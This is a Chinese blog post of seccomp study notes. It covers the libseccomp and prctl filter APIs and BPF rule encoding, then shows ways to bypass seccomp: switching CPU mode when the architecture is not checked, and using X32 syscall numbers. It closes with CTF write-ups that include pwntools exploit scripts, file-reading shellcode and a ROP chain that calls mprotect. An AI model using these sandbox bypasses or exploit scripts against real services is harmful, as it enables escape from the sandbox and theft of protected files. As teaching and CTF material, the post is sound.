seccomp学习笔记

2020-09-27

字数统计: 4.6k字 | 阅读时长≈ 22分

最近的题目，其实都偏向高版本 glibc 的应用和都开启了 seccomp保护机制。刚开始学习这个机制，先补充一点基础知识，然后再补充相应题目（可能得要一段时间才能来填坑了，欠了太多的题目了）。

Seccomp基础知识

seccomp 是一种内核中的安全机制，未使用seccomp时，程序可以使用使用的 syscall，这是不安全的，因为我们常见的 getshell 方式都是通过程序中一些不安全的函数中的 sysycall 来导致的，比如劫持 execve。但是通过seccomp，可以在程序中禁用掉某些 syscall，这样就算劫持了程序流也只能调用部分 syscall了。

编程使用seccomp

调用seccomp 的程序是能够直接运行，但是在自己编写调用 seccomp 程序的代码时，需要我们先安装相应的头文件：

1	sudo apt install libseccomp-dev libseccomp2 seccomp

在如下测试程序中：

//gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_ALLOW);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
	seccomp_load(ctx);

	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	syscall(59,filename,argv,envp);//execve
	return 0;
}

运行结果如下所示，执行 execve 时程序报错退出。原因就是 seccomp 阻止了程序通过 execve来执行 syscall。

解释一下上述代码：

ctx 是 Filter context/handle ，其中 typedef void *scmp_filter_ctx；

seccomp_init 是初始化的过滤状态，这里用的是 SCMP_ACT_ALLOW ，表示默认允许所有的 syscall，如果初始化状态为 SCMP_ACT_KILL 则表示不允许所有的 syscall。

/*
 * seccomp actions
 */

/**
 * Kill the process
 */
#define SCMP_ACT_KILL		0x00000000U
/**
 * Throw a SIGSYS signal
 */
#define SCMP_ACT_TRAP		0x00030000U
/**
 * Return the specified error code
 */
#define SCMP_ACT_ERRNO(x)	(0x00050000U | ((x) & 0x0000ffffU))
/**
 * Notify a tracing process with the specified value
 */
#define SCMP_ACT_TRACE(x)	(0x7ff00000U | ((x) & 0x0000ffffU))
/**
 * Allow the syscall to be executed after the action has been logged
 */
#define SCMP_ACT_LOG		0x7ffc0000U
/**
 * Allow the syscall to be executed
 */
#define SCMP_ACT_ALLOW		0x7fff0000U

seccomp_rule_add 是添加一条规则，函数原型如下：

/**
 * Add a new rule to the filter
 * @param ctx the filter context
 * @param action the filter action
 * @param syscall the syscall number
 * @param arg_cnt the number of argument filters in the argument filter chain
 * @param ... scmp_arg_cmp structs (use of SCMP_ARG_CMP() recommended)
 *
 * This function adds a series of new argument/value checks to the seccomp
 * filter for the given syscall; multiple argument/value checks can be
 * specified and they will be chained together (AND'd together) in the filter.
 * If the specified rule needs to be adjusted due to architecture specifics it
 * will be adjusted without notification.  Returns zero on success, negative
 * values on failure.
 *
 */
int seccomp_rule_add(scmp_filter_ctx ctx,
		     uint32_t action, int syscall, unsigned int arg_cnt, ...);

seccomp_load 是应用过滤，如果不调用 seccomp_load 则上面的所有的过滤都不会生效。

/**
 * Loads the filter into the kernel
 * @param ctx the filter context
 *
 * This function loads the given seccomp filter context into the kernel.  If
 * the filter was loaded correctly, the kernel will be enforcing the filter
 * when this function returns.  Returns zero on success, negative values on
 * error.
 *
 */
int seccomp_load(const scmp_filter_ctx ctx);

上面代码中 seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); arg_cnt=0，是表示不管 execve 的参数是什么，都会直接限制 execve 执行 syscall。

如果 arg_cnt 不为0，那 arg_cnt 表示后面限制的参数的个数，也就是只有调用 execve，且参数满足要求时，才会拦截 syscall。

/**
 * Specify an argument comparison struct for use in declaring rules
 * @param arg the argument number, starting at 0
 * @param op the comparison operator, e.g. SCMP_CMP_*
 * @param datum_a dependent on comparison
 * @param datum_b dependent on comparison, optional
 */
#define SCMP_CMP(...)		((struct scmp_arg_cmp){__VA_ARGS__})

/**
 * Specify an argument comparison struct for argument 0
 */
#define SCMP_A0(...)		SCMP_CMP(0, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 1
 */
#define SCMP_A1(...)		SCMP_CMP(1, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 2
 */
#define SCMP_A2(...)		SCMP_CMP(2, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 3
 */
#define SCMP_A3(...)		SCMP_CMP(3, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 4
 */
#define SCMP_A4(...)		SCMP_CMP(4, __VA_ARGS__)

/**
 * Specify an argument comparison struct for argument 5
 */
#define SCMP_A5(...)		SCMP_CMP(5, __VA_ARGS__)



/**
 * Comparison operators
 */
enum scmp_compare {
	_SCMP_CMP_MIN = 0,
	SCMP_CMP_NE = 1,		/**< not equal */
	SCMP_CMP_LT = 2,		/**< less than */
	SCMP_CMP_LE = 3,		/**< less than or equal */
	SCMP_CMP_EQ = 4,		/**< equal */
	SCMP_CMP_GE = 5,		/**< greater than or equal */
	SCMP_CMP_GT = 6,		/**< greater than */
	SCMP_CMP_MASKED_EQ = 7,		/**< masked equality */
	_SCMP_CMP_MAX,
};

/**
 * Argument datum
 */
typedef uint64_t scmp_datum_t;

/**
 * Argument / Value comparison definition
 */
struct scmp_arg_cmp {
	unsigned int arg;	/**< argument number, starting at 0 */
	enum scmp_compare op;	/**< the comparison op, e.g. SCMP_CMP_* */
	scmp_datum_t datum_a;
	scmp_datum_t datum_b;
};

举例，拦截 write 函数参数大于 0x10 时的系统调用

#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>

int main(void){
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_ALLOW);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write),1,SCMP_A2(SCMP_CMP_GT,0x10));//第2(从0)个参数大于0x10
	seccomp_load(ctx);
	write(1,"i will give you a shell\n",24);//会拦截
	write(1,"1234567812345678",0x10);//不被拦截
	return 0;
}

Prtctl简介

除了 seccomp，还有一个叫 prctl 的函数也能做到类似的效果，函数原型如下：

#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3,
          unsigned long arg4, unsigned long arg5);

早期 seccomp 是使用 prctl 系统调用实现的，后来封装成了一个 libcseccomp 库，该函数时进行进程控制的，这里也有 seccomp 的功能。

首先，使用 Prctl 需要有 CAP_SYS_ADMIN权能，否则就要设置 PR_SET_NO_NEW_PRIVS 位，若不这样做非 root 用户使用该程序时 seccomp保护将会失效，设置了 PR_SET_NO_NEW_PRIVS 位后能保证 seccomp 对所有用户都能起作用，并且会使子进程即 execve 后的进程依然失控，意思就是即使执行了 execve 这个系统调用替换了整个 binary 权限不会变化，设置后也不能再更改。

1	prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); //设为1

当 option 为 PR_SET_NO_NEW_PRIVS(38)，且 arg2 为 1时，将无法获得特权。

PR_SET_NO_NEW_PRIVS (since Linux 3.5)
    Set the calling process's no_new_privs bit to the value in arg2.
    With no_new_privs set to 1,  execve(2)  promises  not  to  grant
    privileges  to do anything that could not have been done without
    the execve(2) call (for example, rendering the  set-user-ID  and
    set-group-ID  mode  bits, and file capabilities non-functional).
    Once set, this bit cannot be unset.  The setting of this bit  is
    inherited  by  children  created  by  fork(2)  and clone(2), and
    preserved across execve(2).
    
    For   more   information,   see   the   kernel    source    file
    Documentation/prctl/no_new_privs.txt.

举例：

#include <unistd.h>
#include <sys/prctl.h>

int main(void){
	prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);

	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	syscall(59,filename,argv,envp);//execve
	return 0;
}

1	prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);//第一个参数要进行什么设置，第二个是设置为过滤模式，第三个参数就是过滤规则

当 option 为 PR_SET_SECCOMP（22）时，效果就是我们上面的 seccomp 了，只不过这里的格式略有不同：

PR_SET_SECCOMP (since Linux 2.6.23)
   Set the secure computing (seccomp) mode for the calling  thread,
   to limit the available system calls.  The more recent seccomp(2)
   system  call  provides  a  superset  of  the  functionality   of
   PR_SET_SECCOMP.

   The  seccomp  mode is selected via arg2.  (The seccomp constants
   are defined in <linux/seccomp.h>.)

   With arg2 set to SECCOMP_MODE_STRICT, the only system calls that
   the  thread is permitted to make are read(2), write(2), _exit(2)
   (but not exit_group(2)), and sigreturn(2).  Other  system  calls
   result  in  the  delivery  of  a  SIGKILL signal.  Strict secure
   computing mode is useful for number-crunching applications  that
   may  need  to  execute  untrusted byte code, perhaps obtained by
   reading from a pipe or socket.  This operation is available only
   if the kernel is configured with CONFIG_SECCOMP enabled.

   With  arg2  set  to  SECCOMP_MODE_FILTER  (since Linux 3.5), the
   system calls allowed are defined by  a  pointer  to  a  Berkeley
   Packet  Filter  passed  in  arg3.  This argument is a pointer to
   struct sock_fprog; it can be designed to filter arbitrary system
   calls and system call arguments.  This mode is available only if
   the kernel is configured with CONFIG_SECCOMP_FILTER enabled.

   If SECCOMP_MODE_FILTER filters permit fork(2), then the  seccomp
   mode  is  inherited by children created by fork(2); if execve(2)
   is  permitted,  then  the  seccomp  mode  is  preserved   across
   execve(2).  If the filters permit prctl() calls, then additional
   filters can be added; they are run in order until the first non-
   allow result is seen.

   For   further   information,   see   the   kernel   source  file
   Documentation/prctl/seccomp_filter.txt.

如果 arg2 为 SECCOMP_MODE_STRICT(1)，则只允许调用 read，write，exit(not exit_group)，sigreturn 这几个 syscall，如果 arg2 为 SECCOMP_MODE_FILTER（2），则为过滤模式，其中对 syscall 的限制通过 arg3 用 BPF(Berkley Packet Filter) 的形式传递进来，是指向 struct sock_fprog 数组的指针。

第三个参数 prog是如下结构体的指针 sock_fprog，这个结构体记录了过滤规则个数与规则数组起始位置。而 filter 域指向了具体的规则，每一条规则有如下 sock_filter 形式：

/*
 *	Try and keep these values and structures similar to BSD, especially
 *	the BPF code definitions which need to match so you can share filters
 */
 
struct sock_filter {	/* Filter block */
	__u16	code;   /* Actual filter code */
	__u8	jt;	/* Jump true */
	__u8	jf;	/* Jump false */
	__u32	k;      /* Generic multiuse field */
};
struct sock_fprog {	/* Required for SO_ATTACH_FILTER. */
	unsigned short		len;	/* Number of filter blocks */
	struct sock_filter *filter;
};

为了操作方便定义了一组宏来完成filter的填写(定义在/usr/include/linux/bpf_common.h。更详细的解释，参考：https://eigenstate.org/notes/seccomp

#ifndef BPF_STMT
#define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k }
#endif
#ifndef BPF_JUMP
#define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k }
#endif

其中 code，是由多个变量组成，变量之间使用 + 连接：

#define BPF_CLASS(code) ((code) & 0x07)         //首先指定操作的类别
#define		BPF_LD		0x00                    //将值cp进寄存器
#define		BPF_LDX		0x01
#define		BPF_ST		0x02
#define		BPF_STX		0x03
#define		BPF_ALU		0x04
#define		BPF_JMP		0x05
#define		BPF_RET		0x06
#define		BPF_MISC        0x07
	
/* ld/ldx fields */
#define BPF_SIZE(code)  ((code) & 0x18)         //在ld时指定操作数的大小
#define		BPF_W		0x00
#define		BPF_H		0x08
#define		BPF_B		0x10
#define BPF_MODE(code)  ((code) & 0xe0)         //操作数类型
#define		BPF_IMM		0x00
#define		BPF_ABS		0x20
#define		BPF_IND		0x40
#define		BPF_MEM		0x60
#define		BPF_LEN		0x80
#define		BPF_MSH		0xa0

/* alu/jmp fields */
#define BPF_OP(code)    ((code) & 0xf0)         //当操作码类型为ALU时，指定具体运算符
#define		BPF_ADD		0x00                    //到底执行什么操作可以看filter.h里面的定义
#define		BPF_SUB		0x10
#define		BPF_MUL		0x20
#define		BPF_DIV		0x30
#define		BPF_OR		0x40
#define		BPF_AND		0x50
#define		BPF_LSH		0x60
#define		BPF_RSH		0x70
#define		BPF_NEG		0x80
#define		BPF_MOD		0x90
#define		BPF_XOR		0xa0

#define		BPF_JA		0x00                    //当操作码类型是JMP时指定跳转类型
#define		BPF_JEQ		0x10
#define		BPF_JGT		0x20
#define		BPF_JGE		0x30
#define		BPF_JSET        0x40
#define BPF_SRC(code)   ((code) & 0x08)         
#define		BPF_K		0x00                    //常数
#define		BPF_X		0x08

另在与SECCOMP有关的定义在/usr/include/linux/seccomp.h，现在来看看怎么写规则，首先是BPF_LD，它需要用到的结构为：

struct seccomp_data {
    int   nr;                   /* System call number */
    __u32 arch;                 /* AUDIT_ARCH_* value
                                  (在 <linux/audit.h> 里) */
    __u64 instruction_pointer;  /* CPU instruction pointer */
    __u64 args[6];              /* Up to 6 system call arguments */
};

其中args中是6个寄存器，在32位下是：ebx,ecx,edx,esi,edi,ebp，在64位下是：rdi,rsi,rdx,r10,r8,r9，现在要将syscall时eax的值载入RegA，可以使用：

1
2
3

BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0)                //这会把偏移0处的值放进寄存器A，读取的是seccomp_data的数据
//或者
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,regoffset(eax))

跳转语句写法如下：

1	BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0) //这回把寄存器A与值k(此处为59)作比较，为真跳过下一条规则，为假不跳转

后两个参数代表成功跳转到第几条规则，失败跳转到第几条规则，这是相对偏移。

最后当验证完成需要返回结果时，即是否允许：

1	BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)

过滤的规则列表里可以有多条规则，seccomp 会从第 0 条开始逐条执行，直到遇到 BPF_RET 返回，决定是否允许该操作以及做某些修改。

示例

将第一个代码中的 seccomp 改为 prctl 如下：

//gcc -g simple_syscall_seccomp.c -o simple_syscall_seccomp -lseccomp
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <fcntl.h>
int main(void){

	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_ALLOW);
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write),1,SCMP_A2(SCMP_CMP_EQ,0x10));
	seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
	seccomp_load(ctx);

	int fd = open("bpf.out",O_WRONLY);
	seccomp_export_bpf(ctx,fd);
	close(fd);


	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	write(1,"1234567812345678",0x10);
	syscall(0x4000003b,filename,argv,envp);//execve
	return 0;
}

通过 seccomp_export_bpf的函数能够将设置的 seccomp 以 bpf 的形式导出，上面代码输出为 bpf.out

改用 prctl:

#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

int main(void){
	
	prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
	struct sock_filter sfi[] = {
		{0x20,0x00,0x00,0x00000004},
		{0x15,0x00,0x09,0xc000003e},
		{0x20,0x00,0x00,0x00000000},
		{0x35,0x07,0x00,0x40000000},
		{0x15,0x06,0x00,0x0000003b},
		{0x15,0x00,0x04,0x00000001},
		{0x20,0x00,0x00,0x00000024},
		{0x15,0x00,0x02,0x00000000},
		{0x20,0x00,0x00,0x00000020},
		{0x15,0x01,0x00,0x00000010},
		{0x06,0x00,0x00,0x7fff0000},
		{0x06,0x00,0x00,0x00000000}
	};
	struct sock_fprog sfp = {12,sfi};

	prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&sfp);
	
	char * filename = "/bin/sh";
	char * argv[] = {"/bin/sh",NULL};
	char * envp[] = {NULL};
	write(1,"i will give you a shell\n",24);
	write(1,"1234567812345678",0x10);
	syscall(0x4000003b,filename,argv,envp);//execve
	return 0;
}

也能够成功拦截。

另一个示例可以参考 https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

Seccomp-tools

现有的工具 seccomp-tools可以帮助我们分析 seccomp机制。

https://github.com/david942j/seccomp-tools

使用如下：

可知限制了 execve函数，和 write 函数的输出长度等于 0x10时禁止执行 syscall 函数。

seccomp绕过

未检查 arch

当未检查 arch 参数时，可以尝试转换当前的处理器模式，即在32位程序中转到64位或者相反，因为i386 和 x86-64 拥有不同的系统调用号，例如程序为 x86-64 的并且禁止 execve:

1
2
3

11	64  	munmap			__x64_sys_munmap
59	64	    execve			__x64_sys_execve/ptregs
11	i386	execve			sys_execve

若改变模式让其认为当前正在处理 i386 的程序，那么系统调用号 11 将不会被解析为 __x64_sys_munmap 而是 sys_execve ，这样就绕过了保护。利用条件为：

1
2
3

1. 未检查arch
2. 调用号11未被禁止
3. sys_mmap或sys_mprotect能用

第三点是因为要转换 CPU 的处理模式，所以在大部分情况下很难找到现成的 gadget 利用，需要手动注入shellcode 并能够执行。所以就需要一块可写可执行的内存，这个shellcode 的主要部分如下：

to32:                           ;;将CPU模式转换为32位
    mov DWORD [rsp+4],0x23      ;;32位
    retf
to64:                           ;;将CPU模式转换为64位
    mov DWORD [esp+4],0x33      ;;64位
    retf

原理是 RETF指令，能够改变 CS 寄存器，当 CS 为 0x23 时表示当前为 64位，当为 0x33 时表示为32位：

1
2
3

RETQ：POP RIP   
RETN: POP EIP
RETF: POP CS:EIP

X64下使用 X32

如果程序开启了 arch 检查，就不能转换处理器模式了。但是 x86-64 下有一种特殊模式 X32，它使用 64位的存器地址和 32位的地址，此时 nr 会在原来基础上加上 _X32_SYSCALL_BIT (0X400000000)，即原本的 syscall number + 0x40000000，这会达到一样的效果，此时的 shellcode 效果如下：

section .text
global my_execve

my_execve:
    mov rax,59+0x40000000           ;;只需要把系统调用号加0x40000000即可
                                    ;;另外520 或 520+0x40000000 也能用
    syscall
    nop
    nop
    hlt

还有思路，就是考虑系统有没有没有限制到的 syscall。

2015 baby playpen fence

程序分析

程序功能比较简单，就是接受用户的输入，并将用户的输出在 seccomp环境里执行。

程序使用了 prctl 函数，过滤了部分函数的 syscall，如下：

struct sock_filter filter[] = {
       SC_CHECK_ARCH,
       SC_LOAD_SYSCALL,
       SC_DENY_SYSCALL(open, EINVAL),
       SC_DENY_SYSCALL(mmap, EINVAL),
       SC_DENY_SYSCALL(openat, EINVAL),
       SC_DENY_SYSCALL(open_by_handle_at, EINVAL),
       SC_DENY_SYSCALL(ptrace, EINVAL),
       SC_ALLOW
   };

只禁用了open,mmap,openat, open_by_handle_at和ptrace，没有禁用 execve 函数。

原WP以及大佬博客上可见：Since 3.4 the Linux kernel has had a feature called the X32 ABI; 64bit syscalls with 32bit pointers.

1	/usr/include/x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_open (__X32_SYSCALL_BIT + 2)

Using that syscall, you can bypass the seccomp filter. Blacklisting is bad.

也就是使用 X32_SYSCALL_BIT 可以绕过 seccomp 的黑名单限制，在上文中 X64下使用X32 提到的，系统调用号如下所示：

#ifndef _ASM_X86_UNISTD_X32_H
#define _ASM_X86_UNISTD_X32_H 1

#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)
#define __NR_stat (__X32_SYSCALL_BIT + 4)
#define __NR_fstat (__X32_SYSCALL_BIT + 5)
#define __NR_lstat (__X32_SYSCALL_BIT + 6)
#define __NR_poll (__X32_SYSCALL_BIT + 7)
#define __NR_lseek (__X32_SYSCALL_BIT + 8)
#define __NR_mmap (__X32_SYSCALL_BIT + 9)
#define __NR_mprotect (__X32_SYSCALL_BIT + 10)
......

最终可以利用 X32_SYSCALL 来构造 shell.

pop rdi
xor rsi, rsi
mov rax, 0x40000002
syscall

mov rdi, rax
sub rsp, 64
lea rsi, [rsp]
mov rdx, 64
mov rax, 0x40000000
syscall

mov rdi, 1
mov rdx, rax
mov rax, 0x40000001
syscall

mov rax, 0x4000003c
xor rdi, rdi
syscall

EXP

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
context.os = 'linux'
debug = 1

if debug == 1:
    p = process('./babypf')
    elf = ELF('./babypf')
    libc = ELF('libc.so.6')
else:
    pass

p.recvuntil('LOAD PROGRAM\n')

shell = '''
    push 0x1010101 ^ 0x7478
    xor dword ptr [rsp], 0x1010101
    mov rax, 0x742e67616c662f2e
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    mov rax,0x40000002
    syscall

    mov rdi, rax
    sub rsp, 0x1000
    lea rsi, [rsp]
    mov rdx, 0x1000
    mov rax, 0x40000000
    syscall

    mov rdi, 1
    mov rdx, rax
    mov rax, 0x40000001
    syscall

    mov rax, 0x4000003c
    xor rdi, rdi
    syscall
'''
payload = asm(shell)
p.send(p32(len(payload)))
p.send(payload)

p.interactive()

2015 big prison fence

程序分析

和第一个程序的总体功能类似，只不过在 seccomp沙箱这里，启动了更严格的 SECCOMP_MODE_STRICT`(1)，则只允许调用 read，write，exit(not exit_group)，sigreturn 这几个 syscall。

还有点不懂，后续补坑。

EXP

HITCON 2017 qual

程序分析

程序开启了 prctl 函数。

程序漏洞十分明显，最开始数组初始化话时溢出。后面还分别存在一个任意位置输出和任意位置任意写漏洞。

利用分析

分析seccomp 的保护机制，可以看到存在两条绕过路线：

1. 任意函数（不为 mprotect)，只要他的 第二个参数 等于他自己的 系统调用号 即可绕过沙箱检测。
func.sys_number != mprotect_sys_num && func.sys_number == func.args[2]
2. 函数为 mmap或者 mprotect，但是 func.args[2] & 0x1 != 1 
即在mmap或者mprotect时exec位不可被设置

利用思路如下：

1. 调用 mprotect，修改 .bss 的内存保护属性为 可写可执行。（一个内存页只要有了可写可执行权限，那么就算没读权限他也是可读的），需要满足的条件是：
mprotect: args[2]&0x1 != 1
当我们设置 mprotect 第二个参数即内存也属性为 0x6 （可读可执行）可以绕过
2. 调用 open 函数打开 flag.txt，需要满足：
open: sys_number == args[2] == 2(open系统调用号为2)
3. 调用 read 函数读取 flag.txt，没有被限制，可直接执行
4. 调用 write函数输出 flag.txt，未限制，可直接执行

EXP

#!/usr/bin/env python
from pwn import *

r = process('./artifact')
libc = ELF('libc.so.6')
context.arch = 'amd64'
context.log_level = 'debug'
def show(index):
    r.sendlineafter('Choice?\n', '1')
    r.sendlineafter('Idx?\n', str(index))

def memo(index, num):
    r.sendlineafter('Choice?\n', '2')
    r.sendlineafter('Idx?\n', str(index))
    r.sendlineafter('Give me your number:\n', str(num))

def leave():
    r.sendlineafter('Choice?\n', '3')

# leak code base
show(0xca)
r.recvuntil('Here it is: ')
code_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0xbb0
log.success('code base: ' + hex(code_base))
bss = code_base + 0x202000

# leak libc address
show(0xcb)
r.recvuntil('Here it is: ')
libc_base = (int(r.recvline()[:-1]) & 0xffffffffffffffff) - 0x21bf7
log.success('libc base: ' + hex(libc_base))

pop_rdi_ret = libc_base + 0x215bf
pop_rsi_ret = libc_base + 0x23eea
pop_rdx_ret = libc_base + 0x1b96
mprotect = libc_base + libc.symbols['mprotect']
read = libc_base + libc.symbols['read']
print 'pop_rdi_ret:',hex(pop_rdi_ret)
print 'pop_rsi_ret:',hex(pop_rsi_ret)
# open, read and write /home/artifact/flag
# let third argument of open be 2 is to satisfy the seccomp check: sys_number == args[2]
shellcode = asm("""
    mov r8, 0x000000000067616c
    push r8
    mov r8, 0x662f746361666974
    push r8
    mov r8, 0x72612f656d6f682f
    push r8
    mov rdi, rsp
    xor rsi, rsi
    mov rdx, 0x2
    mov rax, 0x2
    syscall
    mov rdi, rax
    mov rsi, {}
    mov rdx, 0x60
    xor rax, rax
    syscall
    mov rdx, rax
    mov rdi, 1
    mov rsi, {}
    mov rax, 1
    syscall
""".format(bss+0xf00, bss+0xf00))
gdb.attach(r)
#write rop into ret_addr 
memo(0xcb, pop_rdi_ret)
memo(0xcc, 0x0)
memo(0xcd, pop_rsi_ret)
memo(0xce, bss+0xc00)
memo(0xcf, pop_rdx_ret)
memo(0xd0, 0x200)
memo(0xd1, read)

memo(0xd2, pop_rdi_ret)
memo(0xd3, bss)
memo(0xd4, pop_rsi_ret)
memo(0xd5, 0xe00)
memo(0xd6, pop_rdx_ret)
memo(0xd7, 0x6) # 0x6 & 0x1 != 1
memo(0xd8, mprotect)
#gdb.attach(r)
memo(0xd9, bss+0xc00)
leave() # trigger return to shellcode
#gdb.attach(r)
r.send(shellcode)

r.interactive()

参考文献

https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://github.com/yvrctf/2015/tree/master/bigprisonfence

https://github.com/yvrctf/2015/tree/master/babyplaypenfence

https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/

本文作者： A1ex
本文链接： http://yoursite.com/2020/09/27/seccomp学习笔记/
版权声明： 本博客所有文章除特别声明外，均采用 MIT 许可协议。转载请注明出处！